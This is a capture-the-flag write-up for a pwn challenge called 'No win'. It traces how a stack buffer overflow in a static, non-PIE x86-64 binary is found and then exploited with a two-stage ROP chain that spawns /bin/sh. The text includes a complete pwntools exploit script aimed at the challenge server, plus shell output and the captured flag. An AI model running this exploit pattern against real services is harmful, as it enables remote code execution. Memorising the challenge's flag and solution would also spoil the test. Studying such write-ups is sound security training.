No win

No shortcuts here. Make your own way out.

Connections

  • 34.87.191.188:9010

Attachments

Recon

The handout is a small tarball with the source and the binary. We run the binary and poke its single input first; the source and the gadget hunt come after.

First contact

$ tar tzf no-win.tar.gz
no-win/
no-win/chall.c
no-win/no-win
$ file no-win/no-win
no-win/no-win: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e95890a8542039966e86b322443859e51e4a2172, for GNU/Linux 3.2.0, not stripped

A statically linked, non-stripped ELF, so it has no library dependencies to sort out. We executed it:

$ printf 'hello\n' | ./no-win/no-win
no win(), so good luck
>

It prints the banner and a > prompt, reads one line, never echoes it, and exits 0. The only interaction surface is a single read of our input, so that is where we poked next.

Poking the input

The obvious thing to try against one read of unknown depth is a long line:

$ echo "== 100 A"; { printf "%0.sA" $(seq 100); echo; } | ./no-win/no-win; echo "exit=$?"
== 100 A
no win(), so good luck
> Segmentation fault (core dumped)
Segmentation fault
exit=139

A 100-byte line dies with SIGSEGV (exit 139), so the input we control runs past its storage and clobbers the stack. With the crash in hand, the one other classic worth ruling out is the input being echoed or used as a format string, and that costs a single probe:

$ echo "== %p %p %p"; printf "%%p %%p %%p\n" | ./no-win/no-win; echo "exit=$?"
== %p %p %p
no win(), so good luck
> exit=0

%p %p %p produced no echo and no crash, which told us the input is never printed back or used as a format string, so the overflow is the whole bug and nothing else.

The tarball also carries chall.c, and its 64-byte buffer puts a standard frame’s saved return address at 64 + 8 = 72 bytes. A 71-byte line, one byte short of the return slot, exits clean, which fits that arithmetic. To pin the exact boundary we put a chosen quadword right after 72 filler bytes. One payload jumps to a junk address, the other jumps back to the start of main (0x401905):

$ echo "== 71 A"; { printf "%0.sA" $(seq 71); echo; } | ./no-win/no-win; echo "exit=$?"
== 71 A
no win(), so good luck
> exit=0
$ python -c 'open("ret_dead.bin","wb").write(b"A"*72 + (0xdeadbeef).to_bytes(8,"little"))
open("ret_main.bin","wb").write(b"A"*72 + (0x401905).to_bytes(8,"little") + b"id; echo SHELL_ALIVE\n")'
$ ./no-win/no-win < ret_dead.bin; echo "exit=$?"
$ ./no-win/no-win < ret_main.bin; echo "exit=$?"
no win(), so good luck
> Segmentation fault (core dumped)
Segmentation fault
exit=139
no win(), so good luck
> no win(), so good luck
> Segmentation fault (core dumped)
Segmentation fault
exit=139

The first run crashes on the junk address. The second run prints the banner twice before dying on the way out of the second pass, because the stack below the re-entered main is still smashed junk. That second banner is the proof we wanted: bytes 73 through 80 of our input land exactly on the saved return address, so the overflow offset is 72.

Source and protections

chall.c explains everything we just observed:

int main(void) {
    char buf[64];
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("no win(), so good luck");
    printf("> ");
    read(STDIN_FILENO, buf, 512);
    return 0;
}

512 bytes into a 64-byte buffer. Because the sink is read, raw bytes including nulls are fine, which matters later: little-endian addresses in a non-PIE binary based at 0x400000 routinely end in \x00 and would be truncated by a string-based sink like gets.

$ python -c 'from pwn import *; context.log_level="error"; print(ELF("./no-win/no-win").checksec())'
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

NX enabled means no shellcode on the stack, so ROP is the only route. No PIE at 0x400000 means every gadget address is fixed and we need no leak. “Canary found” needs a direct check: disassembling main shows no fs:0x28 load and no check before leave/ret, and checksec fires because __stack_chk_fail exists somewhere in the statically linked libc. The pokes agree, since a real canary would abort with a stack-smashing message before the return, while the 100-byte run died with a plain SIGSEGV.

$ objdump -d --start-address=0x401905 --stop-address=0x40196f no-win/no-win
0000000000401905 <main>:
  401909: 55                       pushq  %rbp
  40190a: 48 89 e5                 movq   %rsp, %rbp
  40190d: 48 83 ec 40              subq   $0x40, %rsp
  ...
  401952: 48 8d 45 c0              leaq   -0x40(%rbp), %rax
  401956: ba 00 02 00 00           movl   $0x200, %edx
  40195b: 48 89 c6                 movq   %rax, %rsi
  40195e: bf 00 00 00 00           movl   $0x0, %edi
  401963: e8 48 e5 01 00           callq  0x41feb0 <read>
  401968: b8 00 00 00 00           movl   $0x0, %eax
  40196d: c9                       leaveq
  40196e: c3                       retq

buf sits at rbp-0x40, so 64 bytes of buffer plus 8 bytes of saved rbp put the return address at offset 72, matching what the ret-to-main experiment showed. SHSTK and IBT are CET property markers in the ELF; the runtime does not enforce them, which the working exploit confirms.

Gadget hunt

Static and non-PIE means the full static-libc gadget space sits at fixed addresses. A ROPgadget sweep found everything needed:

$ ROPgadget --binary no-win/no-win | grep -E "^0x[0-9a-f]+ : pop (rdi|rsi|rdx|rax) ; (pop r(15|bp) ; )*ret$"
0x0000000000427eeb : pop rax ; ret
0x0000000000402128 : pop rdi ; pop rbp ; ret
0x0000000000413210 : pop rdx ; ret
0x0000000000402126 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000040a3c2 : pop rsi ; pop rbp ; ret

For the trigger the sweep listed no syscall ; ret pair, only a bare syscall:

$ ROPgadget --binary no-win/no-win | grep -cE "^0x[0-9a-f]+ : syscall ; ret$"
0
$ ROPgadget --binary no-win/no-win | grep -E "^0x[0-9a-f]+ : syscall$"
0x0000000000401324 : syscall

ROPgadget can pick sequences that start mid-instruction, so we verified each address by disassembling the exact bytes with objdump:

$ objdump -d --start-address=0x402128 --stop-address=0x40212d no-win/no-win | tail -5
  402128: 5f                            popq %rdi
  402129: 5d                            popq %rbp
  40212a: c3                            retq
  40212b: be 03 00 00 00                movl $0x3, %esi
$ objdump -d --start-address=0x427eeb --stop-address=0x427eef no-win/no-win | tail -3
  427eeb: 58                            popq %rax
  427eec: c3                            retq

The other two checked out the same way, 5a c3 at 0x413210 for pop rdx ; ret and 5e 41 5f 5d c3 at 0x402126 for the pop rsi chain. The bare syscall at 0x401324 sits inside abort():

$ objdump -d --start-address=0x40131f --stop-address=0x401326 no-win/no-win
000000000040128f <abort>:
  40131f: b8 0e 00 00 00                movl $0xe, %eax
  401324: 0f 05                         syscall

Two more addresses matter. read is a real symbol in the static libc at 0x41feb0, the same address main calls, so the chain can call it directly. And .bss starts at 0x4abac0 inside the writable PT_LOAD segment, a fixed writable scratch page:

$ python -c 'from pwn import *; context.log_level="error"; e = ELF("./no-win/no-win"); print("read =", hex(e.symbols["read"]), "| bss =", hex(e.bss())); print("writable PT_LOAD:", [(hex(s.header.p_vaddr), hex(s.header.p_vaddr + s.header.p_memsz)) for s in e.segments if s.header.p_flags & 2 and s.header.p_memsz])'
read = 0x41feb0 | bss = 0x4abac0
writable PT_LOAD: [('0x4a5f50', '0x4b1228')]

Exploitation

Chain design

execve("/bin/sh", argv, NULL) is syscall 59 and needs rdi as the path pointer, rsi as the argv pointer, rdx as envp and rax as 59. Two things are missing from the binary:

$ strings no-win/no-win | grep -c "/bin/sh"
0

There is no /bin/sh string to point at, and at ret time no register points at writable memory we control. The binary hands us the fix for both problems, since it contains read at a fixed address and stdin stays connected after the first read returns. The chain therefore works in two stages.

Stage 1 calls read(0, bss, 16), pulling a second 16-byte payload from the same connection into .bss. That payload is "/bin/sh\0" followed by p64(bss), so .bss holds the path string and .bss + 8 holds a one-entry argv array pointing back at the path. A real argv keeps the execve call POSIX-clean instead of passing a NULL argv.

Stage 2 then pops the execve arguments and jumps to the bare syscall at 0x401324. A bare syscall with no ret after it is fine here because execve replaces the process image and never returns.

The multi-pop gadgets cost filler, since pop rdi ; pop rbp ; ret needs 8 junk bytes after the real value and pop rsi ; pop r15 ; pop rbp ; ret needs 16, and we use 0xdead for those slots. The budget works out to 72 bytes of padding plus 80 for stage 1 plus 96 for stage 2, 248 bytes total against the 512-byte read.

The exploit script

#!/usr/bin/env python3
"""No win - N0v4CTF 2026. Static, no-PIE stack BOF -> ret2syscall (execve /bin/sh)."""
from pwn import *
import sys

context.arch = "amd64"
context.log_level = "info"

# --- verified gadgets (static, non-PIE => fixed addresses) ---
POP_RAX = 0x427EEB  # pop rax ; ret
POP_RDI = 0x402128  # pop rdi ; pop rbp ; ret
POP_RSI = 0x402126  # pop rsi ; pop r15 ; pop rbp ; ret
POP_RDX = 0x413210  # pop rdx ; ret
SYSCALL = 0x401324  # syscall (bare, in abort())
READ    = 0x41FEB0  # read (static libc)
BSS     = 0x4ABAC0  # writable .bss

OFFSET = 72  # buf at rbp-0x40 => 64 + 8 saved rbp

def p64(v): return v.to_bytes(8, "little")

rop = b"A" * OFFSET
# --- stage 1: read(0, BSS, 16) to place "/bin/sh\0" + argv ptr ---
rop += p64(POP_RDI) + p64(0) + p64(0xdead)                 # rdi = 0 (stdin)
rop += p64(POP_RSI) + p64(BSS) + p64(0xdead) + p64(0xdead) # rsi = bss
rop += p64(POP_RDX) + p64(16)                              # rdx = 16
rop += p64(READ)
# --- stage 2: execve("/bin/sh", argv, NULL) ---
rop += p64(POP_RDI) + p64(BSS) + p64(0xdead)               # rdi = path
rop += p64(POP_RSI) + p64(BSS + 8) + p64(0xdead) + p64(0xdead)  # rsi = argv
rop += p64(POP_RDX) + p64(0)                               # rdx = NULL
rop += p64(POP_RAX) + p64(59)                              # rax = execve
rop += p64(SYSCALL)                                        # execve never returns

assert len(rop) <= 512, len(rop)

# second read payload: "/bin/sh\0" + argv[0] = pointer to "/bin/sh"
stage2 = b"/bin/sh\x00" + p64(BSS)
assert len(stage2) == 16

io = remote("34.87.191.188", 9010)
io.recvuntil(b"> ")
io.send(rop)
io.send(stage2)

io.sendline(b"echo PWNED; ls -la /; cat /flag* /home/*/flag* 2>/dev/null")
io.recvuntil(b"PWNED", timeout=5)
print("[+] shell is live")

io.sendline(b"cat /flag* /*/flag* /flag/* 2>/dev/null; find / -maxdepth 3 -name '*flag*' 2>/dev/null")
time.sleep(2)
print(io.recv(timeout=5).decode(errors="replace"))
io.interactive()

On the wire, both payloads are sent back to back, but read from a socket returns whatever has arrived, so the first read(512) in main returns after the 248 chain bytes and the ROP’d read(0, bss, 16) picks up the following 16. Null bytes are safe throughout because the sink is read.

Testing the chain locally

Before touching the remote we ran the same 248 bytes plus the 16-byte follow-up locally, fed through a pipe with pauses so the two reads fire separately, the same timing a socket gives for free:

$ { cat rop.bin; sleep 1; cat stage2.bin; sleep 1; printf "id; echo SHELL_ALIVE\n"; } | ./no-win/no-win
no win(), so good luck
> uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialup),26(tape),27(video)
SHELL_ALIVE

The ROP’d read placed the path and the argv pointer in .bss, execve handed us a root shell, and the shell consumed the remaining pipe content as commands.

Against the remote

The remote run worked on the first attempt:

$ python exploit.py
[x] Opening connection to 34.87.191.188 on port 9010: Done
[+] shell is live

total 68
drwxr-xr-x   1 root root 4096 Nov 27 20:15 .
drwxr-xr-x   1 root root 4096 Nov 27 22:49 app
lrwxrwxrwx   1 root root    7 Apr 22  2024 bin -> usr/bin
...
drwxrwxrwt   1 root root 4096 Nov 27 20:14 tmp
/proc/kpageflags
/app/flag.txt

ls -la / shows the remote box’s layout with an /app directory, the cat /*/flag* in the follow-up command matched /app/flag.txt and printed the flag (shown at the end of this writeup), and the find pass confirms the same location. A second session ran the same chain with a targeted cat /app/flag.txt; echo ___END___ and parsed the NVR{...} line out of the reply, and both sessions returned the identical string.

Flag capture

$ cat /app/flag.txt
NVR{QW5oeWV1ZW1uaGllbGFtVGhhb29p}